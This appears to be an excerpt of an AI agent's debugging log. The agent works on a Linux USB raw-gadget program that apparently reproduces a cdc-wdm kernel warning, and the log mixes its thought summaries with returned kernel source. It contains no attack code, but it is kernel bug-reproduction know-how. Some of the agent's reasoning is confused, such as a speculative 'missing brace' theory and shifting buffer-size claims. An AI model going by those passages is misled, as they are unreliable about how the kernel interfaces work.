drivers/usb/gadget/udc/dummy_hcd.c-2842- if (!the_udc_pdev[i]) {
]
|
| 177/5 |
2026/09/11 22:43 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 22872
output: 47
thoughts: 1683
Thoughts: **The Root of My Frustration: An Unraveling Thought Process**
I'm trying to understand why `USB_RAW_IOCTL_EVENT_FETCH` is returning `-EINVAL`, and it's been a real journey through the code, a mental marathon, really. My initial thought was a simple mismatch, but that was quickly dispelled. I confirmed that `gadget->name` is indeed `"dummy_udc"`, and my `usb_raw_init` struct correctly sets `driver_name` to `"dummy_udc"`. The `gadget_bind` function compares `gadget->name` with `dev->udc_name`, which is populated by `arg.driver_name` (`"dummy_udc"`). So, `strcmp("dummy_udc", "dummy_udc")` is `0`, which is exactly as it should be. I also verified that `dev->driver.udc_name` is set to `arg.device_name` (`"dummy_udc.0"`), and that `platform_device_alloc` indeed creates `"dummy_udc.0"` for the UDC device name. Everything seemed to align perfectly for `USB_RAW_IOCTL_INIT` to be successful.
Then came the `-EINVAL` from `EVENT_FETCH`. My immediate thought here is the state of the device. If `EVENT_FETCH` returns `-EINVAL`, it's a strong indicator that `dev->state` is not `STATE_DEV_RUNNING`. This leads me to question if `USB_RAW_IOCTL_RUN` itself failed. `USB_RAW_IOCTL_RUN` should reflect the outcome of `usb_gadget_register_driver`. If `usb_gadget_register_driver` fails, `dev->state` is explicitly set to `STATE_DEV_FAILED`. However, my code includes a check: `if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0) < 0) { ... exit(1); }`. If `USB_RAW_IOCTL_RUN` had failed, the program would have exited right there. This means `USB_RAW_IOCTL_RUN` must have succeeded.
This brings me to a more subtle possibility: `USB_RAW_IOCTL_RUN` *succeeded*, but `dev->state` was subsequently changed to `STATE_DEV_FAILED` *after* the `RUN` ioctl. What could cause this? I considered `raw_event_queue_add` failing, or `raw_process_ep0_io` encountering an issue. `raw_event_queue_add` would fail if the queue became full (exceeding `RAW_EVENT_QUEUE_SIZE` of 64). But I'm fetching events in a loop, so that seems unlikely.
I started thinking about potential failures within `EVENT_FETCH` itself. What if `EVENT_FETCH` returned `-EINTR`? My loop handles that by continuing. What about `-ENODEV`? That's a safety measure when the queue is empty but `down_interruptible` succeeds, also not the root cause. Then I considered `-EFAULT`. If `copy_to_user` fails, it returns `-EFAULT`. This is where things got interesting, and a bit alarming.
I noted that `event.length = sizeof(event.data);` in my userspace code. `sizeof(event.data)` is 64. The `struct usb_raw_event` has `type`, `length`, and `data[64]`. So, `sizeof(struct usb_raw_event)` is 72 bytes. The `copy_to_user` function, when called from the kernel's `raw_ioctl_event_fetch`, attempts to copy `sizeof(*event) + length`. In my case, `length` is `min(arg.length, event->length)`. `arg.length` is 64 (from `sizeof(event.data)`), but `event->length` for a `USB_RAW_EVENT_CONTROL` is only 8 bytes (for `struct usb_ctrlrequest`). So, `length` becomes `min(64, 8) = 8`. This means `copy_to_user` is trying to copy `sizeof(*event) + 8`, which is `72 + 8 = 80` bytes.
Here's the critical realization: in my userspace code, I declared `struct usb_raw_event event;`. This buffer is only 72 bytes large. The kernel is attempting to write 80 bytes into this 72-byte buffer! This is a definite buffer overflow in userspace. While this might corrupt the stack and cause crashes or other unpredictable behavior, it doesn't directly explain the `-EINVAL` from `EVENT_FETCH`. It *could* potentially corrupt something that leads to a subsequent `-EINVAL`, but it's not the direct cause.
So, the buffer overflow is a critical bug, but it doesn't directly lead to `-EINVAL` in `EVENT_FETCH`. The `-EINVAL` still points to `dev->state != STATE_DEV_RUNNING`. My focus must return to *why* the state changed. This leads me to re-examine `raw_process_ep0_io`, as that seems to be the next logical place where the device state could be degraded.
|
| 178/5 |
2026/09/11 22:43 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/legacy/raw_gadget.c Name:raw_process_ep0_io]
Results: map[SourceCode: 683: static int raw_process_ep0_io(struct raw_dev *dev, struct usb_raw_ep_io *io,
684: void *data, bool in)
685: {
686: int ret = 0;
687: unsigned long flags;
688:
689: spin_lock_irqsave(&dev->lock, flags);
690: if (dev->state != STATE_DEV_RUNNING) {
691: dev_dbg(dev->dev, "fail, device is not running\n");
692: ret = -EINVAL;
693: goto out_unlock;
694: }
695: if (!dev->gadget) {
696: dev_dbg(dev->dev, "fail, gadget is not bound\n");
697: ret = -EBUSY;
698: goto out_unlock;
699: }
700: if (dev->ep0_urb_queued) {
701: dev_dbg(&dev->gadget->dev, "fail, urb already queued\n");
702: ret = -EBUSY;
703: goto out_unlock;
704: }
705: if ((in && !dev->ep0_in_pending) ||
706: (!in && !dev->ep0_out_pending)) {
707: dev_dbg(&dev->gadget->dev, "fail, wrong direction\n");
708: ret = -EBUSY;
709: goto out_unlock;
710: }
711: if (WARN_ON(in && dev->ep0_out_pending)) {
712: ret = -ENODEV;
713: dev->state = STATE_DEV_FAILED;
714: goto out_unlock;
715: }
716: if (WARN_ON(!in && dev->ep0_in_pending)) {
717: ret = -ENODEV;
718: dev->state = STATE_DEV_FAILED;
719: goto out_unlock;
720: }
721:
722: dev->req->buf = data;
723: dev->req->length = io->length;
724: dev->req->zero = usb_raw_io_flags_zero(io->flags);
725: dev->ep0_urb_queued = true;
726: spin_unlock_irqrestore(&dev->lock, flags);
727:
728: ret = usb_ep_queue(dev->gadget->ep0, dev->req, GFP_KERNEL);
729: if (ret) {
730: dev_err(&dev->gadget->dev,
731: "fail, usb_ep_queue returned %d\n", ret);
732: spin_lock_irqsave(&dev->lock, flags);
733: goto out_queue_failed;
734: }
735:
736: ret = wait_for_completion_interruptible(&dev->ep0_done);
737: if (ret) {
738: dev_dbg(&dev->gadget->dev, "wait interrupted\n");
739: usb_ep_dequeue(dev->gadget->ep0, dev->req);
740: wait_for_completion(&dev->ep0_done);
741: spin_lock_irqsave(&dev->lock, flags);
742: if (dev->ep0_status == -ECONNRESET)
743: dev->ep0_status = -EINTR;
744: goto out_interrupted;
745: }
746:
747: spin_lock_irqsave(&dev->lock, flags);
748:
749: out_interrupted:
750: ret = dev->ep0_status;
751: out_queue_failed:
752: dev->ep0_urb_queued = false;
753: out_unlock:
754: spin_unlock_irqrestore(&dev->lock, flags);
755: return ret;
756: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 179/5 |
2026/09/11 22:43 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 25795
output: 47
thoughts: 66
Thoughts: **My Thought Process Unpacked**
Okay, so I'm looking at this `WARN_ON` macro, specifically `WARN_ON(in && dev->ep0_out_pending)`. My immediate reaction is that this condition is flagging something potentially problematic, and it's causing `dev->state` to be set to `STATE_DEV_FAILED`. That's a pretty serious outcome, so I need to understand *why*.
The `in` variable here is the key. My brain immediately jumps to thinking, "What does 'in' represent in this context?" Given that we're dealing with USB endpoints and potential I/O operations, I'm hypothesizing that `in` likely signifies an incoming data transfer, or more specifically, an operation *initiated* by the host.
Then, the variable name itself sparks a connection: `ep0_out_pending`. The "out" here, in USB terminology, usually refers to a transfer *from* the host *to* the device. So, `ep0_out_pending` strongly suggests that there's a pending OUT transfer on endpoint 0. Endpoint 0 is special – it's the control endpoint, and it's crucial for device configuration and management.
The `&&` operator tells me both conditions must be true: `in` must be true (meaning, I'm suspecting this is a host-initiated operation, likely a write to EP0) *and* `dev->ep0_out_pending` must be true (meaning there's already an OUT transfer on EP0 that hasn't been fully processed).
So, the core of my thought process is: "If I'm trying to do a host-to-device write on EP0 (`in` is true, implying `USB_RAW_IOCTL_EP0_WRITE`) *while* there's already a pending host-to-device OUT transfer on EP0 (`dev->ep0_out_pending` is true), that's an invalid state, hence the failure." This is likely because EP0 is a single-direction endpoint at any given time for a specific transfer, and you can't have two simultaneous OUT transfers queued.
To confirm this line of reasoning, my next logical step is to investigate the origin and meaning of `in`. The most direct way to do that is to look at the call sites of `raw_ioctl_ep0_write`, as this is the most probable candidate for what `in` represents if it's related to an EP0 write operation. This will help me verify if `in` is indeed a flag for `USB_RAW_IOCTL_EP0_WRITE` or some other similar host-initiated write to the control endpoint.
|
| 180/5 |
2026/09/11 22:43 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/legacy/raw_gadget.c Name:raw_ioctl_ep0_write]
Results: map[SourceCode: 758: static int raw_ioctl_ep0_write(struct raw_dev *dev, unsigned long value)
759: {
760: int ret = 0;
761: void *data;
762: struct usb_raw_ep_io io;
763:
764: data = raw_alloc_io_data(&io, (void __user *)value, true);
765: if (IS_ERR(data))
766: return PTR_ERR(data);
767: ret = raw_process_ep0_io(dev, &io, data, true);
768: kfree(data);
769: return ret;
770: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 181/5 |
2026/09/11 22:43 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 26125
output: 47
thoughts: 537
Thoughts: **The Crucial Realization: Misinterpreting EP0 IO for SET_CONFIGURATION**
Okay, so I've been digging into this EP0 handling, specifically around `raw_ioctl_ep0_write`. It seems that `raw_ioctl_ep0_write` internally calls `raw_process_ep0_io` with the `in` flag set to `true`. Now, the critical path is this: if `dev->ep0_out_pending` is also true at that moment, the device state immediately gets yanked to `STATE_DEV_FAILED`. This is a harsh consequence, and I needed to understand *when* `dev->ep0_out_pending` becomes true.
I traced it back to the `gadget_setup` function. The logic there is: if the request is *not* a direction-in (`ctrl->bRequestType & USB_DIR_IN` is false) OR if the length is zero (`ctrl->wLength == 0`), then `dev->ep0_out_pending` is set to `true`. This makes sense from the perspective of whether the host is sending data *to* the device.
Here's where my thought process hit a snag. I was specifically looking at the `USB_REQ_SET_CONFIGURATION` request, which in my code, I was handling by issuing a `USB_RAW_IOCTL_EP0_WRITE` ioctl. Now, `USB_REQ_SET_CONFIGURATION` has a `bRequestType` of `0x00`. Crucially, the `USB_DIR_IN` bit (which is `0x80`) is *not* set in `0x00`. Therefore, according to the `gadget_setup` logic, `dev->ep0_out_pending` *will* be set to `true` when this request is initially processed.
The problem arises because I'm then calling `USB_RAW_IOCTL_EP0_WRITE`. As I noted, this implies `in = true` for the subsequent `raw_process_ep0_io` call. So, I have `in == true` and `dev->ep0_out_pending == true`. This combination is precisely what triggers the `WARN_ON` and, consequently, the `dev->state = STATE_DEV_FAILED`. I've essentially created a deadlock or a state violation by attempting to *write* data to EP0 when the underlying mechanism expects an *out* transaction from the host.
My realization is that `USB_REQ_SET_CONFIGURATION` is fundamentally an "out" transaction from the host's perspective, even if it's a zero-length one. The host is sending the configuration value *to* the device. Therefore, I should be using `USB_RAW_IOCTL_EP0_READ` to receive this information, not `USB_RAW_IOCTL_EP0_WRITE`.
Now, I'm paused at the edge case of zero-length requests like `USB_REQ_SET_CONFIGURATION`. Even though `wLength` is 0, it's still an OUT request conceptually. This leads me to question whether `USB_RAW_IOCTL_EP0_READ` is the correct call for *any* zero-length request where the host is initiating the transaction, or if there's a nuance I'm missing. I'm about to dive into `raw_ioctl_ep0_read` to clarify that.
|
| 182/5 |
2026/09/11 22:44 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/legacy/raw_gadget.c Name:raw_ioctl_ep0_read]
Results: map[SourceCode: 772: static int raw_ioctl_ep0_read(struct raw_dev *dev, unsigned long value)
773: {
774: int ret = 0;
775: void *data;
776: struct usb_raw_ep_io io;
777: unsigned int length;
778:
779: data = raw_alloc_io_data(&io, (void __user *)value, false);
780: if (IS_ERR(data))
781: return PTR_ERR(data);
782: ret = raw_process_ep0_io(dev, &io, data, false);
783: if (ret < 0)
784: goto free;
785:
786: length = min_t(unsigned int, io.length, ret);
787: if (copy_to_user((void __user *)(value + sizeof(io)), data, length))
788: ret = -EFAULT;
789: else
790: ret = length;
791: free:
792: kfree(data);
793: return ret;
794: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 183/5 |
2026/09/11 22:44 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 27060
output: 39
thoughts: 204
Thoughts: **Understanding the Nuances of EP0 Control Transfers**
Right, I'm trying to get a handle on how these EP0 control transfers are being processed, specifically around requests like `USB_REQ_SET_CONFIGURATION`. My initial thought was that `raw_ioctl_ep0_read` would be the appropriate call, given that it invokes `raw_process_ep0_io` with `in = false`. This seems logical, as `USB_REQ_SET_CONFIGURATION` is a client-initiated request to the device.
However, a crucial detail then struck me: `USB_REQ_SET_CONFIGURATION` is a *zero-length* request. This immediately raised a question in my mind: does `USB_RAW_IOCTL_EP0_READ` actually handle zero-length operations correctly? I confirmed that, yes, the `io.length` field can indeed be zero, so that part should be fine.
But then, a new line of inquiry emerged: what about `USB_RAW_IOCTL_EP0_WRITE` in the context of a zero-length request? My investigation revealed that if `wLength` is zero, the `gadget_setup` function sets `ep0_out_pending = true`. This is a critical observation. It implies that even for zero-length requests where data isn't explicitly being sent *from* the host, the system is prepared to receive a (zero-length) *out* packet conceptually. And because of this `ep0_out_pending` flag, it seems I absolutely *must* use `USB_RAW_IOCTL_EP0_READ` for these zero-length requests. It's counter-intuitive at first glance, but the underlying mechanism dictates this behavior. I'll need to double-check this with `syzkaller's syz_usb_control_io` to ensure my understanding aligns with the observed behavior in practice.
|
| 184/5 |
2026/09/11 22:44 |
tool |
grepper |
0m
Error:
Args: map[Expression:USB_RAW_IOCTL_EP0_READ PathPrefix:tools/testing/selftests/]
Results:
|
| 185/5 |
2026/09/11 22:44 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 27301
output: 25
thoughts: 825
Thoughts: **My Thought Process Regarding USB Control Transfers and Syzkaller**
I was digging into how syzkaller handles USB control I/O, specifically looking at its `syz_usb_control_io` function. Although I don't have the syzkaller source code readily available, I'm confident in my understanding of USB protocols to infer its behavior. My initial thought was to determine the correct USB control endpoint I/O operation based on the direction of the transfer.
I reasoned that if the `req->bRequestType` field has the `USB_DIR_IN` bit set, it signifies an IN transfer from the device to the host. In such cases, syzkaller would likely use the `USB_RAW_IOCTL_EP0_WRITE` ioctl to send data back to the host. Conversely, if the `USB_DIR_IN` bit is *not* set, it implies an OUT transfer from the host to the device, and the `USB_RAW_IOCTL_EP0_READ` ioctl would be the appropriate mechanism to receive data from the host.
Applying this logic, I considered the `USB_REQ_SET_CONFIGURATION` request. This request is typically sent from the host to the device to select a configuration. Therefore, it's an OUT transfer, meaning the device needs to *read* data related to the configuration from the host. This led me to conclude that for `USB_REQ_SET_CONFIGURATION`, the syzkaller implementation should be using `USB_RAW_IOCTL_EP0_READ`.
This insight prompted me to review and correct my own gadget thread implementation. I then examined the provided code snippet, which illustrates this logic. I noted the `if (req->bRequestType & USB_DIR_IN)` block handling IN requests, and the `else` block for OUT requests. Within the OUT block, I found the `if (req->bRequest == USB_REQ_SET_CONFIGURATION)` condition. Here, the code correctly assigns `io.length = req->wLength` and then uses `ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io)` to read the configuration data from the host. This confirms my hypothesis about the correct ioctl usage for this specific request type.
Furthermore, I looked at the definition of `USB_RAW_IOCTL_EP0_READ` itself, `_IOWR('U', 4, struct usb_raw_ep_io)`. The `_IOWR` macro indicates a read-write operation, which is consistent with reading data from the control endpoint. The `struct usb_raw_ep_io` would contain the buffer and length for the data transfer. My understanding of the USB control endpoint operations and the ioctl interface aligns with this observation.
|
| 186/5 |
2026/09/11 22:44 |
tool |
grepper |
0m
Args: map[Expression:USB_RAW_IOCTL_EP0_READ]
Results: map[Output:drivers/usb/gadget/legacy/raw_gadget.c=1294=static long raw_ioctl(struct file *fd, unsigned int cmd, unsigned long value)
--
drivers/usb/gadget/legacy/raw_gadget.c-1314- break;
drivers/usb/gadget/legacy/raw_gadget.c:1315: case USB_RAW_IOCTL_EP0_READ:
drivers/usb/gadget/legacy/raw_gadget.c-1316- ret = raw_ioctl_ep0_read(dev, value);
--
include/uapi/linux/usb/raw_gadget.h=160=struct usb_raw_eps_info {
--
include/uapi/linux/usb/raw_gadget.h-193-#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
include/uapi/linux/usb/raw_gadget.h:194:#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
include/uapi/linux/usb/raw_gadget.h-195-
]
|
| 187/5 |
2026/09/11 22:44 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 28453
output: 46
thoughts: 398
Thoughts: **My Thought Process Regarding USB Raw I/O and Event Handling**
Right, so I've been looking into how to interact with USB devices at a raw level, specifically focusing on endpoint 0. My initial thought was that I definitely need to define the `USB_RAW_IOCTL_EP0_READ` operation in my code, and I've confirmed it corresponds to `_IOWR('U', 4, struct usb_raw_ep_io)`. So, adding `#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)` is a necessary step for me.
However, I've just had a rather alarming realization about a potential buffer overflow. I was setting `event.length = sizeof(event.data);` and it struck me as odd. Now, digging into it, `struct usb_raw_event` has a `data` member which is `data[64]`. So, `sizeof(event.data)` correctly evaluates to 64 bytes. The `length` field, as I understand it, is intended to inform the kernel about the amount of data to copy.
But here's where it gets tricky. I've examined the `raw_ioctl_event_fetch` function, and I see this snippet:
```c
if (copy_from_user(&arg, (void __user *)value, sizeof(arg)))
```
Here, `sizeof(arg)` is actually `sizeof(struct usb_raw_event)`, which is 72 bytes in total (`__u32 type`, `__u32 length`, and `__u8 data[64]`).
Then, the code proceeds to calculate `length = min(arg.length, event->length);`. This part seems reasonable in isolation.
The real issue emerges in this line:
```c
copy_to_user((void __user *)value, event, sizeof(*event) + length)
```
Crucially, `sizeof(*event)` is also 72 bytes. This means the kernel is attempting to copy `72 + length` bytes. The problem is, `value` points to a userspace buffer that is *only* 72 bytes (the size of `struct usb_raw_event`). Therefore, if `length` is anything greater than 0, we are guaranteed to write past the end of the allocated buffer in userspace – a classic buffer overflow. I need to re-examine `raw_ioctl_event_fetch` again to fully grasp how this is being handled or if this is indeed a genuine vulnerability.
|
| 188/5 |
2026/09/11 22:44 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/legacy/raw_gadget.c Name:raw_ioctl_event_fetch]
Results: map[SourceCode: 615: static int raw_ioctl_event_fetch(struct raw_dev *dev, unsigned long value)
616: {
617: struct usb_raw_event arg;
618: unsigned long flags;
619: struct usb_raw_event *event;
620: uint32_t length;
621:
622: if (copy_from_user(&arg, (void __user *)value, sizeof(arg)))
623: return -EFAULT;
624:
625: spin_lock_irqsave(&dev->lock, flags);
626: if (dev->state != STATE_DEV_RUNNING) {
627: dev_dbg(dev->dev, "fail, device is not running\n");
628: spin_unlock_irqrestore(&dev->lock, flags);
629: return -EINVAL;
630: }
631: if (!dev->gadget) {
632: dev_dbg(dev->dev, "fail, gadget is not bound\n");
633: spin_unlock_irqrestore(&dev->lock, flags);
634: return -EBUSY;
635: }
636: spin_unlock_irqrestore(&dev->lock, flags);
637:
638: event = raw_event_queue_fetch(&dev->queue);
639: if (PTR_ERR(event) == -EINTR) {
640: dev_dbg(&dev->gadget->dev, "event fetching interrupted\n");
641: return -EINTR;
642: }
643: if (IS_ERR(event)) {
644: dev_err(&dev->gadget->dev, "failed to fetch event\n");
645: spin_lock_irqsave(&dev->lock, flags);
646: dev->state = STATE_DEV_FAILED;
647: spin_unlock_irqrestore(&dev->lock, flags);
648: return -ENODEV;
649: }
650: length = min(arg.length, event->length);
651: if (copy_to_user((void __user *)value, event, sizeof(*event) + length)) {
652: kfree(event);
653: return -EFAULT;
654: }
655:
656: kfree(event);
657: return 0;
658: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 189/5 |
2026/09/11 22:45 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 29608
output: 42
thoughts: 95
Thoughts: **My Thought Process**
Ah, I'm looking at the `usb_raw_event` structure, specifically the definition found in `include/uapi/linux/usb/raw_gadget.h`. My immediate thought is to confirm this structure's layout. I'm pulling up the header file itself to verify that my current understanding, which is that it contains a `type` field, a `length` field, and a zero-length `data` array, is accurate. This is a crucial step before I proceed with any further analysis or operations involving this structure.
|
| 190/5 |
2026/09/11 22:45 |
tool |
grepper |
0m
Error:
Args: map[Expression:struct usb_raw_event { PathPrefix:include/uapi/linux/usb/raw_gadget.h]
Results:
|
| 191/5 |
2026/09/11 22:45 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 29762
output: 41
thoughts: 13
Thoughts: **The Curious Case of `struct usb_raw_event` and the Missing Braces**
I'm currently wrestling with a bit of a peculiar situation involving the `struct usb_raw_event`. My immediate reaction upon seeing it, or rather, the way it's presented, is one of mild bewilderment. It's the absence of the opening curly brace `{` that's throwing me off.
My mind immediately jumps to the standard C/C++ syntax for defining structures. Typically, you'd expect something along the lines of `struct usb_raw_event { ... };`. This `{` is fundamental; it signifies the beginning of the structure's body, where its members are declared. Without it, the compiler would likely interpret the declaration in an unexpected way, or potentially even flag it as a syntax error depending on the surrounding code.
I'm trying to understand *why* it's presented this way. Is this a deliberate omission for a specific reason within a larger context I might be overlooking? Perhaps it's a shorthand notation being used in a particular tool or documentation, or a specific interpretation within a custom parsing mechanism. It could be a typo, of course, but given the context of my expertise, I'm inclined to assume there's a more nuanced explanation at play.
My thought process is now focused on investigating the origin and intent behind this unusual syntax. I'm mentally cycling through potential scenarios:
* **Preprocessor Macros:** Could `struct usb_raw_event` be a macro that expands to include the necessary braces and members when processed by the preprocessor? This is a common technique to abstract away complex definitions.
* **External Definition/Declaration:** Is this declaration part of a header file or an interface definition where the actual structure definition resides elsewhere, and this is merely a forward declaration or an incomplete type declaration? However, typically even those have the `{` to indicate it's a struct.
* **Specific Framework/API:** Some specialized frameworks or APIs might employ their own unique syntax or conventions that deviate from standard C++. I need to consider if this is part of such a system.
* **Documentation Artifact:** It's possible this is an error or simplification within the documentation itself, perhaps for illustrative purposes or due to a misunderstanding by the author.
* **A Trick of Presentation:** Is it possible that the `{` is implied or understood in this specific context, perhaps in a highly stylized or domain-specific language?
Essentially, my expertise tells me this isn't the standard way to define a structure, so my immediate thought is to deconstruct it and find the underlying mechanism that makes it valid, or to identify it as an error. The absence of the `{` is the key anomaly that I'm now driven to explain.
|
| 192/5 |
2026/09/11 22:45 |
tool |
grepper |
0m
Args: map[Expression:struct usb_raw_event PathPrefix:include/uapi/linux/usb/raw_gadget.h]
Results: map[Output:include/uapi/linux/usb/raw_gadget.h=38=enum usb_raw_event_type {
--
include/uapi/linux/usb/raw_gadget.h-60-/*
include/uapi/linux/usb/raw_gadget.h:61: * struct usb_raw_event - argument for USB_RAW_IOCTL_EVENT_FETCH ioctl.
include/uapi/linux/usb/raw_gadget.h-62- * @type: The type of the fetched event.
--
include/uapi/linux/usb/raw_gadget.h-69- */
include/uapi/linux/usb/raw_gadget.h:70:struct usb_raw_event {
include/uapi/linux/usb/raw_gadget.h-71- __u32 type;
--
include/uapi/linux/usb/raw_gadget.h=160=struct usb_raw_eps_info {
--
include/uapi/linux/usb/raw_gadget.h-182- */
include/uapi/linux/usb/raw_gadget.h:183:#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
include/uapi/linux/usb/raw_gadget.h-184-
]
|
| 193/5 |
2026/09/11 22:45 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 30141
output: 42
thoughts: 27
Thoughts: **My Thought Process Regarding the `raw_gadget.h` File**
Alright, so my first inclination is to dive right into the code. I need to get a feel for the context, so I'm immediately going to pull up the `include/uapi/linux/usb/raw_gadget.h` file. My target is line 70. This isn't just a random jump; I'm anticipating that around this line, I'll find the core definitions related to the raw gadget API. Given the file path, I expect to see structures, enums, or perhaps function pointers that form the fundamental building blocks for interacting with the USB gadget subsystem at a low level. I'm looking for the interface definitions – the contracts, if you will – that user-space applications will use to control the USB device. I'm particularly keen to see how the API is designed to abstract away the underlying hardware and USB protocol details, while still providing enough flexibility for raw access. I'll be mentally noting any data types, flags, or state representations that seem crucial for managing USB endpoints, configurations, and device states. My goal here is to establish a foundational understanding of *how* this API is structured, before I even start thinking about the specifics of *what* it does.
|
| 194/5 |
2026/09/11 22:45 |
tool |
read-file |
0m
Args: map[File:include/uapi/linux/usb/raw_gadget.h FirstLine:60 LineCount:20]
Results: map[Contents: 60: /*
61: * struct usb_raw_event - argument for USB_RAW_IOCTL_EVENT_FETCH ioctl.
62: * @type: The type of the fetched event.
63: * @length: Length of the data buffer. Updated by the driver and set to the
64: * actual length of the fetched event data.
65: * @data: A buffer to store the fetched event data.
66: *
67: * The fetched event data buffer contains struct usb_ctrlrequest for
68: * USB_RAW_EVENT_CONTROL and is empty for other events.
69: */
70: struct usb_raw_event {
71: __u32 type;
72: __u32 length;
73: __u8 data[];
74: };
75:
76: #define USB_RAW_IO_FLAGS_ZERO 0x0001
77: #define USB_RAW_IO_FLAGS_MASK 0x0001
78:
79: static inline int usb_raw_io_flags_valid(__u16 flags)
]
|
| 195/5 |
2026/09/11 22:45 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 30515
output: 41
thoughts: 2396
Thoughts: **My Debugging Journey into the USB Raw Gadget Driver**
This entire ordeal started with a seemingly simple observation: the `data[]` member of my `struct usb_raw_event` was defined as a fixed-size array (`data[64]`), which meant `sizeof(struct usb_raw_event)` in my user-space code was 72 bytes. However, the kernel, when interacting with this structure, was operating under the assumption that the size was only 8 bytes. This discrepancy immediately raised a flag regarding how data was being copied.
I initially reasoned that because `copy_to_user` was operating with the kernel's perceived size of 8 bytes, it would copy `8 + length`. If `length` was 8 (as in the case of `USB_RAW_EVENT_CONTROL`), it would copy 16 bytes. My user-space buffer, being 72 bytes, seemed more than sufficient, so I thought this was safe. Then, when copying from user to kernel (`copy_from_user`), the kernel would copy 8 bytes into the argument structure. My `arg.length` would be correctly read, and the subsequent `length = min(arg.length, event->length)` would correctly cap the length. If `arg.length` was 64 (my definition) and `event->length` was 8 (the kernel's interpretation for `usb_ctrlrequest`), the resulting `length` would be 8. This would then lead to `copy_to_user` copying `8 + 8 = 16` bytes. At this point, I felt confident that everything was correct.
So, why then was `USB_RAW_IOCTL_EVENT_FETCH` returning `-EINVAL`? This was the real puzzle. My investigation led me to `dev->state != STATE_DEV_RUNNING`. Further digging revealed that `dev->state` had transitioned to `STATE_DEV_FAILED` due to a `WARN_ON(in && dev->ep0_out_pending)` condition within `raw_process_ep0_io`. I realized that `USB_REQ_SET_CONFIGURATION` is an OUT request (or zero-length), which correctly sets `dev->ep0_out_pending` to true. However, my code was incorrectly calling `USB_RAW_IOCTL_EP0_WRITE`, which implies `in = true`. This combination, `in && dev->ep0_out_pending` being true, triggered the `WARN_ON`, leading to `dev->state = STATE_DEV_FAILED`. Once in this failed state, `EVENT_FETCH` would consistently return `-EINVAL`, creating an infinite loop in my application as it repeatedly called `EVENT_FETCH`.
The solution became clear: for OUT requests, I needed to use `USB_RAW_IOCTL_EP0_READ`. I then considered IN requests, like `USB_REQ_GET_DESCRIPTOR`. For these, `req->bRequestType & USB_DIR_IN` is true, setting `dev->ep0_in_pending`. My code was calling `USB_RAW_IOCTL_EP0_WRITE`, implying `in = true`. The condition `in && dev->ep0_out_pending` would be false, and `!in && dev->ep0_in_pending` would also be false, indicating correct handling. I even double-checked a specific case, `req->bRequestType == 0xA1 && req->bRequest == 0x01`, which is also an IN request, and confirmed my logic held.
Therefore, the *only* problematic request was `USB_REQ_SET_CONFIGURATION`. For this specific request, I determined that `USB_RAW_IOCTL_EP0_READ` was the appropriate action. I then proceeded to update my gadget thread code to reflect this.
My next thought was about handling potential negative return values from `EVENT_FETCH`. If it returned `-EINVAL`, it signifies a device failure, and my current loop would become infinite. I decided to add error handling to break out of the loop in such cases, also accounting for `EINTR`.
I also made sure to include the `#define` for `USB_RAW_IOCTL_EP0_READ` since I was using it. A final check on whether `USB_RAW_IOCTL_EP0_READ` was sufficient for `SET_CONFIGURATION` confirmed that it correctly queues a read on EP0, completing the status stage for a zero-length OUT request. The internal logic of the raw-gadget driver abstracts the directionality of this status stage, making `EP0_READ` the correct choice when `ep0_out_pending` is set.
Finally, my thoughts drifted to a separate bug I had encountered, related to `wdm_read`. I mentally walked through the sequence of events involving notification sending, host URB submission, gadget response, user-space blocking, EP1 STALL, `wdm_rxwork` execution, and the subsequent `service_outstanding_interrupt` call. This detailed analysis helped me understand how the `URB submitted while active` warning was occurring due to the double submission of the `desc->response` URB.
|
| 196/5 |
2026/09/11 22:46 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/class/cdc-wdm.c Name:wdm_rxwork]
Results: map[SourceCode: 982: /* --- error handling --- */
983: static void wdm_rxwork(struct work_struct *work)
984: {
985: struct wdm_device *desc = container_of(work, struct wdm_device, rxwork);
986: unsigned long flags;
987: int rv = 0;
988: int responding;
989:
990: spin_lock_irqsave(&desc->iuspin, flags);
991: if (test_bit(WDM_DISCONNECTING, &desc->flags)) {
992: spin_unlock_irqrestore(&desc->iuspin, flags);
993: } else {
994: responding = test_and_set_bit(WDM_RESPONDING, &desc->flags);
995: spin_unlock_irqrestore(&desc->iuspin, flags);
996: if (!responding)
997: rv = usb_submit_urb(desc->response, GFP_KERNEL);
998: if (rv < 0 && rv != -EPERM) {
999: spin_lock_irqsave(&desc->iuspin, flags);
1000: clear_bit(WDM_RESPONDING, &desc->flags);
1001: if (!test_bit(WDM_DISCONNECTING, &desc->flags))
1002: schedule_work(&desc->rxwork);
1003: spin_unlock_irqrestore(&desc->iuspin, flags);
1004: }
1005: }
1006: }
SourceFile:drivers/usb/class/cdc-wdm.c]
|
| 197/5 |
2026/09/11 22:46 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 33398
output: 42
thoughts: 52
Thoughts: **My Thought Process on `wdm_rxwork` Scheduling**
